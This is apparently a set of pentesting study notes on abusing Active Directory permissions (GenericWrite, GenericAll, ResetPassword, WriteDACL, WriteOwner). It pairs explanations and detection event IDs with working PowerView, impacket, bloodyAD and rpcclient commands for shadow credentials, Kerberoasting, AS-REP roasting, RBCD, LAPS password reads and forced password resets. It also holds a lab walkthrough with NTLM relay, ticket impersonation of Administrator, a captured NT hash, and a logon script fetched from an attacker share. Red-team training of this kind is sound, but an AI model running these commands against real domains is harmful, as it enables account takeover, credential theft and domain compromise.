Notes โ€บ

๐Ÿ”‘ Permissions Abuse

DACL/SACL abuse: GenericAll, GenericWrite, WriteDACL, WriteOwner, OU & GPO abuse.

Permissions Abuse

DACL & SACL

๐Ÿ” Access Control Model in Active Directory

The Access Control Model defines who can access what in the Active Directory environment. It is a security mechanism that governs how subjects (like users or processes) interact with objects (like files, folders, AD objects, or resources) based on security information.

This model is implemented using the following key components:


๐Ÿงพ 1. Access Tokens

An Access Token is created when a user logs in. It represents the security context of the user or process and contains important information that determines what the user/process is allowed to do.

โœ… Contents of an Access Token:

  • User SID (Security Identifier)

  • Group SIDs (all groups the user is a member of)

  • Privileges (like the ability to shut down the system or back up files)

  • Default DACL (used when the user creates new objects)

๐Ÿ”„ Usage:

Whenever a user tries to access a resource, their access token is compared to the Security Descriptor of the object they are trying to access.


๐Ÿ›ก๏ธ 2. Security Descriptors

A Security Descriptor (SD) is a data structure attached to each object in Active Directory (and other securable resources). It defines who owns the object, who can access it, and how that access is audited.

Any object(resource or service) that Windows wants to protect with permissions has a Security Descriptor. Eg:- File system, Registry, Services, Active Directory objects, event logs, printers, etc.

๐Ÿ” Key components of a Security Descriptor:

Component | Description |
โ€” | โ€” |
Owner SID | The SID of the user or group that owns the object |
DACL (Discretionary Access Control List) | Defines who has what type of access to the object (Read, Write, Full Control, etc.) |
SACL (System Access Control List) | Defines what access attempts should be logged for auditing purposes |

๐Ÿ“‹ 3. DACL (Discretionary Access Control List)

The DACL contains Access Control Entries (ACEs) that define permissions for users or groups.

๐Ÿงฑ Each ACE includes:

  • A SID (the user or group)

  • A set of permissions (e.g., Read, Write, Modify)

  • A flag indicating whether the access is allowed or denied

โ— If there is no DACL, the object is unprotected, and any user can access it.


๐Ÿ” 4. SACL (System Access Control List)

The SACL is used for auditing access to objects. It specifies which operations on the object should be logged in the Security Event Log.

For example:

  • Audit success or failure of access attempts.

  • Used by Windows Auditing and Advanced Threat Detection tools.


โš™๏ธ How It All Works Together

  1. A user logs in โ†’ Windows creates an Access Token.

  2. The user tries to access an Active Directory object (like a user account or GPO).

  3. Windows checks the Security Descriptor of the object:

    • Compares the userโ€™s Access Token (SIDs + privileges)
    • With the objectโ€™s DACL
  4. If access is allowed โ†’ user can proceed.

  5. If the SACL has rules for that type of access โ†’ the attempt is logged.


๐Ÿง  Example Scenario

A user โ€œAliceโ€ logs into her domain-joined PC. She wants to read a file stored on a shared drive:

  • Her Access Token includes her user SID and group memberships like Domain Users.

  • The file has a Security Descriptor:

    • Owner: IT Admin
    • DACL: Grants read access to Domain Users
    • SACL: Logs read access by any user
  • Result:

    • Alice can read the file (because Domain Users are allowed).
    • The read attempt is audited because of the SACL.

๐Ÿ“Œ In Summary

Component | Purpose |
โ€” | โ€” |
Access Token | Defines who is trying to access (SID, groups, privileges) |
Security Descriptor | Defines what access is allowed and who owns the object |
DACL | Controls access permissions (Allow/Deny) |
SACL | Controls auditing and logging of access attempts |

๐Ÿงฑ Key Components in the Diagram

โœ… Object

This is the resource (e.g., file, folder, AD object) that someone is trying to access.

๐Ÿ›ก๏ธ DACL (Discretionary Access Control List)

Attached to the object. It contains Access Control Entries (ACEs) that define who can or cannot access the object and what type of access is allowed or denied.

โœ… Subjects

This contains users, groups or process trying to access the object(resource). Above example contains two treads Tread A and Tread B. Each Tread contains certain set of users or groups

๐Ÿ”’ Thread A (Andrew) Tries to Access the Object

When a user from Tread A, lets say Andrew tries to access the object with its access token, he is passed through DACL, ACE 1 matches Andrew directly and says โ€œAccess Deniedโ€. Deny takes precedence that means the user will know not be passed further.

  1. โŒ Access is Denied, even though Andrew is part of Group A (which is allowed in ACE 2).

Why? Because the Deny ACE appears first and directly targets Andrew.

Thread B (Jane) Tries to Access the Object

  1. Jane is not denied explicitly.

  2. HE is a member of Group A, and ACE 2 allows write access to Group A.

  3. ACE 3 also gives Everyone read/execute. So a member of Group A has all the permissions

  4. โœ… Access is Allowed.


โš ๏ธ Key Takeaways from This Image

  • Access Tokens represent user identity and groups.

  • DACLs contain ACEs that define who can access the object.

  • โ€œDenyโ€ entries override โ€œAllowโ€ entries.

  • Evaluation stops at the first applicable ACE.

  • Order of ACEs in the DACL matters.


Commands:

Get the ACLs associated with the specified object:

Get-DomainObjectAcl -SamAccountName student1 -ResolveGUIDs

The -ResolveGUIDs flag tells PowerView to translate security GUIDs (which represent permissions) into human-readable names.



๐Ÿ›ก๏ธ What is an ACL (Access Control List)?

โœ… Definition:

An ACL is a list of permissions attached to an object (like a user, group, OU, computer, etc.) that defines who can do what with that object.

๐Ÿง  Think of it as:

โ€œThis object has a list of rules โ€” and each rule says who can perform which actions.โ€

There are two types of ACLs:

  1. DACL (Discretionary Access Control List)

  2. SACL (System Access Control List)

Note:- ACL is part of Security Descriptors


๐ŸŽŸ๏ธ What is an ACE (Access Control Entry)?

โœ… Definition:

An ACE is a single rule inside an ACL. It defines a specific permission granted (or denied) to a security principal (user, group, computer, etc.).

๐Ÿง  Think of it as:

โ€œOne entry in the rulebook saying: User Alice can ResetPassword on Object X.โ€


๐Ÿงฑ ACL vs ACE โ€“ Visual Analogy

Concept | Real-World Analogy |
โ€” | โ€” |
ACL | A guest list for a party |
ACE | One line on that list: โ€œJohn is allowed to enter the VIP roomโ€ |

๐Ÿงฐ In Active Directory:

Every AD object has a Discretionary Access Control List (DACL) that contains multiple ACEs.

๐Ÿง  Example (User Object):


Object: User = John.Doe

ACL:

  ACE 1: Group "Domain Admins" โ†’ Full Control

  ACE 2: User "Alice" โ†’ ResetPassword

  ACE 3: User "Bob" โ†’ WriteProperty (ServicePrincipalName)

๐Ÿ”ฅ Why are ACLs & ACEs Important in Pentesting?

  • Attackers can abuse misconfigured ACEs to:
    • ๐Ÿง‘โ€๐Ÿ’ป Reset another userโ€™s password
    • ๐Ÿ› ๏ธ Change SPNs and perform Kerberoasting
    • ๐Ÿ“Œ Take ownership of an object
    • ๐Ÿงฌ Replicate domain secrets (DCsync attack)

๐Ÿ“ Common Abuse Scenarios:

ACE Type | Abusable Permission | Attack |
โ€” | โ€” | โ€” |
GenericWrite | Modify user/computer object | Add SPN, reset password |
WriteOwner | Change object owner | Become object owner |
WriteDacl | Modify permissions | Grant yourself full access |
ResetPassword | Reset userโ€™s password | Log in as them |
Replicating Directory Changes | Pull directory secrets | DCSync (hash dump) |

๐Ÿ” ACE Types You Should Watch For (as an Attacker)

ACE Type | What It Lets You Do |
โ€” | โ€” |
GenericAll | Full control โ€“ do anything |
GenericWrite | Modify most object attributes |
WriteDACL | Change objectโ€™s permissions |
WriteOwner | Change the owner of the object |
ResetPassword | Reset a userโ€™s password |
AllExtendedRights | Includes DCSync privileges |

๐Ÿ”š Summary

Term | Meaning | Key Point |
โ€” | โ€” | โ€” |
ACL | List of access control entries | Defines who can access an AD object |
ACE | A single permission rule in an ACL | Says who can do what to whom |
Why It Matters | Misconfigurations allow privilege escalation | Attackers look for exploitable ACEs to gain control |

Would you like a visual map of an ACL attack path, or a lab-style demo on how to abuse ACEs with PowerView or BloodHound?

ACL

๐Ÿ” GenericWrite

๐Ÿ“Œ 1. What is GenericWrite?

Theย GenericWriteย permission inย Active Directoryย allows a user to modify all writable attributes of an object, except for properties that require special permissions such as resetting passwords.

If an attacker gains GenericWrite over a user, they can write to theย servicePrincipalNamesย attribute and immediately initiate aย targeted Kerberoastingย attack.

Moreover, havingย GenericWriteย over a group enables them to add their accountโ€”or one they controlโ€”directly to that group, effectively escalating privileges.

Alternatively, if the attacker obtainsย GenericWriteย over a computer object, they can modify theย msds-KeyCredentialLinkย attribute.ย As a result, they createย Shadow Credentialsย and authenticate as that computer account usingย Kerberos PKINIT.

GenericWrite = Permission to modify writable attributes of an AD object.

๐Ÿ‘‰ It does NOT give full control, but allows:

  • Editing specific attributes (depends on object type)

  • Indirect privilege escalation


๐ŸŽฏ 2. Prerequisites

Requirement | Explanation |
โ€” | โ€” |
Domain access | Valid domain user |
GenericWrite permission | On target object (user / group / computer) |
Reachability | LDAP / SMB / RPC to Domain Controller |
Target object exists | User / Group / Computer |

โš™๏ธ 3. Conditions for Abuse

Condition | Why Important |
โ€” | โ€” |
Attribute must be writable | Not all attributes are |
Target not protected | AdminSDHolder may restrict |
Tool compatibility | PowerView / Impacket / BloodyAD |
Object type matters | Abuse differs (user vs group vs computer) |

๐Ÿ”ฅ 4. Abuse Based on Object Type

๐Ÿ‘ค A. GenericWrite on USER

๐Ÿง  What you can modify

  • servicePrincipalName

  • userAccountControl

  • scriptPath

  • msDS-KeyCredentialLink


โš”๏ธ Attack 1: Shadow Credentials (Best Attack)

๐Ÿ“Œ What it is

Abuse msDS-KeyCredentialLink to add your own authentication key.


โš™๏ธ Steps


Set-DomainObject -Identity victim -Set @{'msDS-KeyCredentialLink'=$value}

๐Ÿง  Explanation

  • You inject a certificate/key

  • AD trusts it for authentication

  • No password needed


โœ… Result

๐Ÿ‘‰ Full account takeover


โš”๏ธ Attack 2: SPN Manipulation โ†’ Kerberoasting


๐Ÿ“Œ What it is

Add fake SPN โ†’ request service ticket โ†’ crack password


โš™๏ธ Steps


Set-DomainObject -Identityvictim -Set @{'servicePrincipalName'='fake/service'}

impacket-GetUserSPNs domain.local/user:pass-request

๐Ÿง  Explanation

  • SPN makes account โ€œservice accountโ€

  • Kerberos gives encrypted ticket

  • Offline cracking possible


โœ… Result

๐Ÿ‘‰ Recover plaintext password


โš”๏ธ Attack 3: AS-REP Roasting


๐Ÿ“Œ What it is

Disable pre-authentication requirement


โš™๏ธ Steps


Set-DomainObject -Identity victim -XOR @{'userAccountControl'=4194304}

impacket-GetNPUsers domain.local/-no-pass

๐Ÿง  Explanation

  • Removes Kerberos pre-auth

  • DC sends encrypted response


โœ… Result

๐Ÿ‘‰ Crackable hash


โš”๏ธ Attack 4: Logon Script Injection


๐Ÿ“Œ What it is

Set malicious script path


โš™๏ธ Steps


Set-DomainObject -Identity victim-Set @{'scriptPath'='\\attacker\share\evil.ps1'}

๐Ÿง  Explanation

  • Script runs when user logs in

โœ… Result

๐Ÿ‘‰ Code execution as victim


โš ๏ธ Password Reset?

โŒ Not directly possible (in most cases)


๐Ÿ‘ฅ B. GenericWrite on GROUP


๐Ÿง  What you can modify

  • member attribute (group membership)

โš”๏ธ Attack: Add Yourself to Group


โš™๏ธ Steps


Add-DomainGroupMember -Identity "Domain Admins" -Members attacker

๐Ÿง  Explanation

  • You modify group membership

  • No approval needed


โœ… Result

Target Group | Impact |
โ€” | โ€” |
Domain Admins | ๐Ÿšจ Full domain compromise |
Administrators | Local admin |
Remote Desktop Users | Lateral movement |

๐Ÿ”ฅ Attack Flow


GenericWrite on Group

        โ†“

Add yourself

        โ†“

Inherit group privileges

        โ†“

Privilege escalation

๐Ÿ’ป C. GenericWrite on COMPUTER


๐Ÿง  What you can modify

  • msDS-AllowedToActOnBehalfOfOtherIdentity

  • servicePrincipalName


โš”๏ธ Attack 1: RBCD (Most Important)


๐Ÿ“Œ What it is

Resource-Based Constrained Delegation


โš™๏ธ Steps


Set-DomainObject-IdentityTARGET$-Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$attackerSID}

๐Ÿง  Explanation

  1. You allow your machine to act on behalf of users

  2. Use Kerberos delegation

  3. Impersonate Administrator


โœ… Result

๐Ÿ‘‰ SYSTEM / Domain Admin access


โš”๏ธ Attack 2: SPN Abuse


โš™๏ธ Steps


Set-DomainObject -Identity computer$ -Set @{'servicePrincipalName'='fake/service'}

๐Ÿง  Explanation

Same as user SPN abuse


โœ… Result

๐Ÿ‘‰ Extract machine hash


๐Ÿ” 5. GenericWrite on OU (Requested)


๐Ÿ“Œ What is it?

GenericWrite on OU = You can modify attributes of OU

๐Ÿ‘‰ But:

  • You cannot directly control users

  • You must abuse inheritance / permissions


๐ŸŽฏ Goal

๐Ÿ‘‰ Gain control over objects inside OU (users / groups)


โš™๏ธ Abuse Method: Grant Yourself Rights on OU


โš”๏ธ Step 1 โ€” Modify OU ACL


Add-DomainObjectAcl -TargetIdentity "OU=IT,DC=domain,DC=local" -PrincipalIdentity attacker -RightsAll

๐Ÿง  What this does

๐Ÿ‘‰ You are:


Giving yourself FullControl on the OU

        โ†“

Permissions will be inherited by child objects (if inheritance applies)

โš ๏ธ Important Condition

โœ” Works only if:

  • Inheritance is enabled

  • Objects inherit permissions from OU


โš”๏ธ Step 2 โ€” Abuse Child Objects

Now you can:

Reset user passwords


Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString "P@ss123!" -AsPlainText-Force)

Add yourself to groups


Add-DomainGroupMember -Identity "Admins" -Members attacker

๐Ÿ”ฅ Full Attack Flow


GenericWrite on OU

        โ†“

Modify OU ACL (give yourself control)

        โ†“

Permissions propagate to users/groups

        โ†“

Control child objects

        โ†“

Privilege escalation

๐Ÿ“Š 5. Summary Table

Object | Technique | Impact |
โ€” | โ€” | โ€” |
User | Shadow Credentials | ๐Ÿšจ Full takeover |
User | SPN โ†’ Kerberoast | Password crack |
User | AS-REP Roast | Hash extraction |
User | Logon Script | Code execution |
Group | Add member | ๐Ÿšจ Privilege escalation |
Computer | RBCD | ๐Ÿšจ SYSTEM / DA |
Computer | SPN abuse | Hash cracking |

๐Ÿšจ 6. Risks / Impact

Risk | Description |
โ€” | โ€” |
Privilege escalation | Add yourself to admin groups |
Credential theft | Kerberoasting / AS-REP |
Persistence | Shadow credentials |
Lateral movement | RBCD / group abuse |
Stealth access | No password reset needed |

๐Ÿชต 7. Logs & Detection

Event ID | Description |
โ€” | โ€” |
5136 | Directory object modified |
4728 | User added to group |
4769 | Kerberos service ticket (SPN abuse) |
4768 | AS-REP requests |

๐Ÿ’ก 8. Key Takeaway

๐Ÿ‘‰ GenericWrite = Attribute abuse, not direct control

NTML Relay Attack + RBCD ( Linux PoC )


**#WEB01 - 10.129.1.166** 

clocksync 10.129.1.166 -c "netexec ldap 10.129.1.166 -u ms01$ -p ms01 -M maq -k"

clocksync 10.129.1.217 -c "evil-winrm -i 192.168.100.2 -u gMSA_ADFS_prod$ -H fd9ea7ac7820dba5155bd6ed2d850c09"

gMSA_ADFS_prod$ : fd9ea7ac7820dba5155bd6ed2d850c09

python3 Coercer.py coerce -l 10.10.16.60 -t 192.168.100.2 -d pirate.htb -u 'gMSA_ADFS_prod$' --hashes ':fd9ea7ac7820dba5155bd6ed2d850c09' --always-continue

impacket-ntlmrelayx \

-t ldaps://10.129.1.217 \

--delegate-access \

--no-da -smb2support \

--remove-mic \

--debug 

clocksync 10.129.1.217 -c "nxc ldap 10.129.1.217 -u ms01$ -p ms01 --computers -k" 

clocksync 10.129.1.217 -c 'impacket-getST pirate.htb/SWJFVMVD$:jD3U@VgYfz+Wj}> -spn cifs/WEB01.pirate.htb -impersonate Administrator -dc-ip 10.129.1.217'

clocksync 10.129.1.172 -c 'impacket-getST pirate.htb/SWJFVMVD$:jD3U@VgYfz+Wj}> -spn HTTP/WEB01.pirate.htb -impersonate Administrator -dc-ip 10.129.1.172'

export KRB5CCNAME=Administrator@HTTP_WEB01.pirate.htb@PIRATE.HTB.ccache

env | grep KRB  

clocksync 10.129.1.172 -c "evil-winrm -i WEB01.pirate.htb -r PIRATE.HTB"

Generic All

๐Ÿ“Œ 1. What is GenericAll?

GenericAll = Full control over an AD object

๐Ÿ‘‰ You can:

  • Read all attributes

  • Modify all attributes

  • Change permissions (ACL)

  • Perform sensitive operations (like password reset)


๐ŸŽฏ 2. Prerequisites

Requirement | Explanation |
โ€” | โ€” |
Domain access | Valid domain user |
GenericAll permission | On target object |
Network access | LDAP / SMB / RPC to DC |
Target object | User / Group / Computer / OU |

โš™๏ธ 3. Conditions for Abuse

Condition | Why Important |
โ€” | โ€” |
Object type matters | Abuse differs |
AdminSDHolder protection | May restrict changes |
Privileged target | Determines impact |
Inheritance (OU) | Can affect multiple objects |

๐Ÿ”ฅ 4. Abuse Based on Object Type


๐Ÿ‘ค A. GenericAll on USER


๐Ÿง  What you control

๐Ÿ‘‰ Everything:

  • Password

  • SPNs

  • UAC flags

  • ACLs

  • Authentication methods


โš”๏ธ Attack 1: Reset Password (MOST DIRECT)

โš™๏ธ Steps


Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString "P@ss123!"-AsPlainText-Force)

๐Ÿง  Explanation

  • GenericAll includes ResetPassword

  • No old password required


โœ… Result

๐Ÿ‘‰ Instant account takeover

โš”๏ธ Attack 2: Shadow Credentials (Best Attack)

๐Ÿ“Œ What it is

Abuse msDS-KeyCredentialLink to add your own authentication key.


โš™๏ธ Steps


Set-DomainObject -Identity victim -Set @{'msDS-KeyCredentialLink'=$value}

๐Ÿง  Explanation

  • You inject a certificate/key

  • AD trusts it for authentication

  • No password needed


โœ… Result

๐Ÿ‘‰ Full account takeover

โš”๏ธ Attack 3: SPN Manipulation โ†’ Kerberoasting


๐Ÿ“Œ What it is

Add fake SPN โ†’ request service ticket โ†’ crack password


โš™๏ธ Steps


Set-DomainObject -Identityvictim -Set @{'servicePrincipalName'='fake/service'}

impacket-GetUserSPNs domain.local/user:pass-request

๐Ÿง  Explanation

  • SPN makes account โ€œservice accountโ€

  • Kerberos gives encrypted ticket

  • Offline cracking possible


โœ… Result

๐Ÿ‘‰ Recover plaintext password


โš”๏ธ Attack 4: AS-REP Roasting


๐Ÿ“Œ What it is

Disable pre-authentication requirement


โš™๏ธ Steps


Set-DomainObject -Identity victim -XOR @{'userAccountControl'=4194304}

impacket-GetNPUsers domain.local/-no-pass

๐Ÿง  Explanation

  • Removes Kerberos pre-auth

  • DC sends encrypted response


โœ… Result

๐Ÿ‘‰ Crackable hash


โš”๏ธ Attack 5: Grant Yourself More Rights


Add-DomainObjectAcl -TargetIdentity victim -PrincipalIdentity attacker -RightsAll

โœ… Result

๐Ÿ‘‰ Persistence / stealth control


๐Ÿ‘ฅ B. GenericAll on GROUP


๐Ÿง  What you control

  • Membership

  • Group permissions

  • Attributes


โš”๏ธ Attack 1: Add Yourself to Group


Add-DomainGroupMember -Identity "Domain Admins" -Members attacker

๐Ÿง  Explanation

  • Full control โ†’ modify member attribute

โœ… Result

Group | Impact |
โ€” | โ€” |
Domain Admins | ๐Ÿšจ Full domain compromise |
Administrators | Local admin |
Custom privileged group | Priv esc |

๐Ÿ’ป C. GenericAll on COMPUTER


โš”๏ธ Attack 1: RBCD (Most Powerful)


Set-DomainObject -Identity TARGET$ -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$attackerSID}

๐Ÿง  Explanation

  • Allow your machine to impersonate users

โœ… Result

๐Ÿ‘‰ SYSTEM / Domain Admin access


โš”๏ธ Attack 2: Reset Machine Password


net user TARGET$ NewPass123!/domain

โœ… Result

๐Ÿ‘‰ Control computer account


โš”๏ธ Attack 3: SPN Abuse


Set-DomainObject -Identity TARGET$ -Set @{'servicePrincipalName'='fake/service'}

โœ… Result

๐Ÿ‘‰ Kerberoasting

โš”๏ธ 4. Abuse Path 2: LAPS Abuse (VERY IMPORTANT)


๐Ÿง  What is LAPS?

LAPS = Local Administrator Password Solution

  • Stores local admin password in AD attribute:

ms-Mcs-AdmPwd

๐Ÿ” Normally

  • Only privileged users can read it

๐Ÿ”ฅ With GenericAll

๐Ÿ‘‰ You can:

  • Grant yourself permission to read LAPS password

โš™๏ธ Step 1: Give yourself read access


Add-DomainObjectAcl -TargetIdentity TARGET$ -PrincipalIdentity attacker -RightsAll

โš™๏ธ Step 2: Read LAPS password


Get-DomainComputer TARGET$ -Propertie sms-Mcs-AdmPwd

Name              : TARGET

ms-Mcs-AdmPwd     : P@ssw0rd123!

๐Ÿ’ฅ Impact


You now have:

Local Administrator credentials on TARGET machine

โš”๏ธ Step 3: Use it


psexec \\TARGET -u Administrator -p P@ssw0rd123! cmd.exe

NT AUTHORITY\SYSTEM shell

๐Ÿ”ฅ Why LAPS Abuse is Powerful


GenericAll โ†’ Read LAPS โ†’ Local Admin โ†’ SYSTEM โ†’ Credential Dump

๐Ÿ—‚๏ธ D. GenericAll on OU (VERY IMPORTANT โ€” FINAL VERSION)


๐Ÿง  What you control

๐Ÿ‘‰ If you have GenericAll on an OU, you control:


The OU object itself (FULL CONTROL)

๐Ÿ‘‰ Since an OU is a container, it holds:

  • Users

  • Groups

  • Computers


๐Ÿ”ฅ Core Logic (MOST IMPORTANT)


OU = container

Objects inside OU = child objects

Permissions on OU

        โ†“ (inheritance)

Flow to child objects

๐Ÿ‘‰ So:


GenericAll on OU

        โ†“

You can push permissions to all child objects

        โ†“

You gain control over those objects

โš”๏ธ Attack (Proper Flow)


๐Ÿ”น Step 1 โ€” You already have GenericAll on OU


Attacker has full control over OU=IT

๐Ÿ‘‰ This allows you to:

  • Modify permissions (ACL)

  • Control how access is inherited


๐Ÿ”น Step 2 โ€” Ensure control over child objects


Add-DomainObjectAcl -TargetIdentity "OU=IT,DC=domain,DC=local" -PrincipalIdentityattacker -RightsAll

๐Ÿง  What this does (CRITICAL)


Adds an ACL entry on the OU

        โ†“

Marked as inheritable

        โ†“

Applies to child objects (users/groups/computers)

๐Ÿ‘‰ Result:


Attacker now has rights ON child objects

๐Ÿ”น Step 3 โ€” Abuse child objects

Now you can directly interact with objects inside OU:


โœ” Reset user passwords


Set-DomainUserPassword -Identity user1 -AccountPassword (ConvertTo-SecureString "P@ss123!" -AsPlainText-Force)

โœ” Add yourself to privileged groups


Add-DomainGroupMember -Identity "Admins"-Members attacker

โœ” Modify user attributes (SPN / persistence)


Set-DomainObject-Identityuser1-Set @{'servicePrincipalName'='fake/service'}

โœ” Abuse computers (RBCD)


Set-DomainObject -Identity COMPUTER$ -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$attackerSID}

๐Ÿ“Š Result


GenericAll on OU

        โ†“

Control over OU ACL

        โ†“

Permissions inherited by child objects

        โ†“

Control users / groups / computers

        โ†“

Mass compromise

โš ๏ธ Important Conditions (Real World)

Condition | Impact |
โ€” | โ€” |
Inheritance enabled | โœ… Works |
AdminSDHolder (privileged users) | โŒ Blocks inheritance |
Objects in OU | Must exist inside that OU |

๐Ÿ“Š 5. Summary Table

Object | Abuse | Impact |
โ€” | โ€” | โ€” |
User | Reset password | ๐Ÿšจ Full takeover |
User | Shadow creds | Stealth persistence |
User | SPN / ASREP | Credential theft |
Group | Add member | ๐Ÿšจ Priv esc |
Computer | RBCD | ๐Ÿšจ SYSTEM / DA |
Computer | Reset password | Machine takeover |
OU | Control all objects | ๐Ÿšจ Mass compromise |

๐Ÿšจ 6. Risks / Impact

Risk | Description |
โ€” | โ€” |
Full account takeover | Immediate access |
Domain compromise | If admin targeted |
Persistence | ACL / shadow creds |
Lateral movement | Across systems |
Stealth attacks | No password reset needed |

๐Ÿชต 7. Logs & Detection

Event ID | Description |
โ€” | โ€” |
4724 | Password reset |
4728 | Added to group |
5136 | Object modified |
4769 | Kerberos ticket request |

๐Ÿ’ก 8. Key Takeaway

๐Ÿ‘‰ GenericAll = Full control = Multiple attack paths

๐Ÿ” Force Password Change Abuse (AD)

๐Ÿ“Œ 1. What is it?

Force Password Change = Ability to reset another userโ€™s password without knowing the current password.

๐Ÿ‘‰ This is controlled by the AD permission:

  • ResetPassword

  • Often comes via:

    • GenericAll
    • GenericWrite
    • AllExtendedRights

๐ŸŽฏ 2. Prerequisites

Requirement | Explanation |
โ€” | โ€” |
Domain access | You must be a valid domain user |
Permission on target user | ResetPassword or equivalent |
Network access to DC | LDAP / SMB / RPC connectivity |
Target account | Any user (including admins if misconfigured) |

โš™๏ธ 3. Conditions for Abuse

Condition | Why it matters |
โ€” | โ€” |
You have GenericAll on user | Full control โ†’ reset password |
You have GenericWrite | Can modify attributes โ†’ sometimes enough |
You have AllExtendedRights | Includes password reset |
Target is not protected | AdminSDHolder may block changes |
Account is enabled | Otherwise no login |

๐Ÿ”ฅ 4. Ways to Abuse

๐Ÿงช Method 1: PowerView


Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString "P@ss123!" -AsPlainText-Force)

โœ” What happens:

  • Password is directly changed

  • No old password required


๐Ÿงช Method 2: net user (Windows)


net user victim NewP@ss123! /domain

โœ” Simple built-in method

โœ” Works if permissions allow


๐Ÿงช Method 3: BloodyAD (Linux)


bloodyAD --host DC_IP -d domain.local -u attacker -p passset password victim NewP@ss123!

โœ” Very common in labs

โœ” Uses LDAP


๐Ÿงช Method 4: Impacket (rpcclient / smbpasswd)


rpcclient -U domain/attacker%pass DC_IP

set userinfo2 victim23 NewP@ss123!

โœ” Uses SAMR protocol


๐Ÿงช Method 5: CrackMapExec


crackmapexec smb DC_IP -u attacker -p pass -M pwdreset -o USER=victim PASS=NewP@ss123!

๐Ÿ” 1. ResetPassword (Direct Right)

๐Ÿง  What you have

You directly have the Reset Password extended right on a user.

โš”๏ธ Abuse

PowerView


Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString "P@ss123!" -AsPlainText-Force)

Linux (rpcclient)


rpcclient -U domain/attacker%pass DC_IP

set userinfo2 victim23 NewP@ss123!

โš™๏ธ What happens internally

  • Uses SAMR / LDAP password reset operation

  • No old password required

โœ… Result

๐Ÿ‘‰ Instant account takeover


๐Ÿ” 2. GenericAll (Full Control)

๐Ÿง  What you have

Full control over user object

โš”๏ธ Abuse

Same as above (because it includes ResetPassword):


Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString "P@ss123!" -AsPlainText-Force)

โš™๏ธ Internally

  • You already have all rights

  • No need to modify ACL

โœ… Result

๐Ÿ‘‰ Direct password reset


๐Ÿ” 3. AllExtendedRights

๐Ÿง  What you have

All extended rights โ†’ includes ResetPassword

โš”๏ธ Abuse


bloodyAD --host DC_IP -d domain.local -u attacker-p passset password victim NewP@ss123!

โš™๏ธ Internally

  • Extended rights include:
    • ResetPassword
    • ChangePassword
    • Others

โœ… Result

๐Ÿ‘‰ Works same as GenericAll for this case


๐Ÿ” 4. GenericWrite (โš ๏ธ Tricky Case)

๐Ÿง  What you have

Write access to attributes (NOT full control)

โš ๏ธ Important

You usually CANNOT directly reset password


โš”๏ธ Possible Abuse Paths

๐Ÿงช Case 1: Target allows password write (rare)

Some environments allow writing:


Set-ADAccountPassword -Identityvictim -Reset-NewPassword (ConvertTo-SecureString "P@ss123!" -AsPlainText-Force)

โœ” Might work

โŒ Often fails due to missing extended right

โš™๏ธ Internally

  • Youโ€™re modifying attributes, NOT performing reset operation

โœ… Result

๐Ÿ‘‰ Sometimes โ†’ indirect takeover

๐Ÿ‘‰ Not reliable for password reset

๐Ÿ” 5. WriteDACL (VERY POWERFUL)

๐Ÿง  What you have

Ability to modify permissions (ACL) of user


โš”๏ธ Abuse Flow

Step 1 โ€” Give yourself ResetPassword


Add-DomainObjectAcl -TargetIdentity victim -PrincipalIdentity attacker -RightsResetPassword

Step 2 โ€” Reset password


Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString "P@ss123!" -AsPlainText-Force)

โš™๏ธ Internally

  1. Modify DACL โ†’ grant yourself rights

  2. Use those rights


โœ… Result

๐Ÿ‘‰ Full takeover (2-step attack)


๐Ÿ” 6. WriteOwner

๐Ÿง  What you have

Ability to change owner of object


โš”๏ธ Abuse Flow

Step 1 โ€” Take ownership


Set-DomainObjectOwner -Identity victim -OwnerIdentity attacker

Step 2 โ€” Modify DACL


Add-DomainObjectAcl -TargetIdentity victim -PrincipalIdentity attacker -RightsResetPassword

Step 3 โ€” Reset password


Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString "P@ss123!" -AsPlainText-Force)

โš™๏ธ Internally

Ownership โ†’ allows modifying permissions โ†’ grant yourself rights


โœ… Result

๐Ÿ‘‰ Full takeover (3-step chain)

๐Ÿง  Final Truth Table

Permission | Can Reset Password? | Notes |
โ€” | โ€” | โ€” |
ResetPassword | โœ… YES | Direct right |
GenericAll | โœ… YES | Full control |
AllExtendedRights | โœ… YES | Includes reset |
GenericWrite | โš ๏ธ SOMETIMES | Not guaranteed |
WriteDACL | โœ… INDIRECT | Add reset right |
WriteOwner | โœ… INDIRECT | Take control โ†’ add rights |

๐Ÿง  What you gain

Scenario | Result |
โ€” | โ€” |
Reset normal user | Full account takeover |
Reset admin | Domain compromise |
Reset service account | Kerberoasting / lateral movement |

โš ๏ธ 5. Important Notes (VERY IMPORTANT)

๐Ÿ”ด This is NOT password cracking

  • No brute force

  • No hash needed

  • Direct overwrite

๐Ÿ”ด Kerberos impact

  • Old tickets become invalid

  • New authentication required


๐Ÿ“Š 6. Logs & Detection

๐Ÿชต Windows Event Logs

Event ID | Description |
โ€” | โ€” |
4724 | Password reset attempt |
4738 | User account changed |
4624 | New login after reset |

๐Ÿ“ Example Log


Event ID: 4724

Subject: attacker_user

Target: victim_user

Action: Password Reset

๐Ÿ” Detection Clues

  • Sudden password reset for privileged user

  • Reset followed by login from different host

  • Unusual admin account activity


๐Ÿšจ 7. Risks / Impact

Risk | Explanation |
โ€” | โ€” |
Account takeover | Immediate access |
Privilege escalation | Reset admin โ†’ DA |
Persistence | Attacker controls password |
Lateral movement | Use credentials across network |
Service disruption | Services using account may break |

๐Ÿ›ก๏ธ 8. Defensive Measures

Control | Description |
โ€” | โ€” |
Least privilege | Remove unnecessary rights |
Monitor 4724 | Alert on password resets |
Protect admin accounts | AdminSDHolder enforcement |
Tiered model | Separate admin/user accounts |
MFA | Reduce impact after reset |

Write DACL

๐Ÿง  1. What is WriteDACL (Core Concept)

๐Ÿ” DACL Basics

  • Every AD object (user, group, computer, OU, domain) has a DACL (Discretionary Access Control List)

  • DACL = list of ACEs (Access Control Entries)

  • ACE = who has what permission on this object


๐Ÿ”ฅ What WriteDACL Means

WriteDACL = Ability to modify permissions of an object

  • You can:
    • Add new ACEs
    • Modify existing ACEs
    • Grant yourself any permission

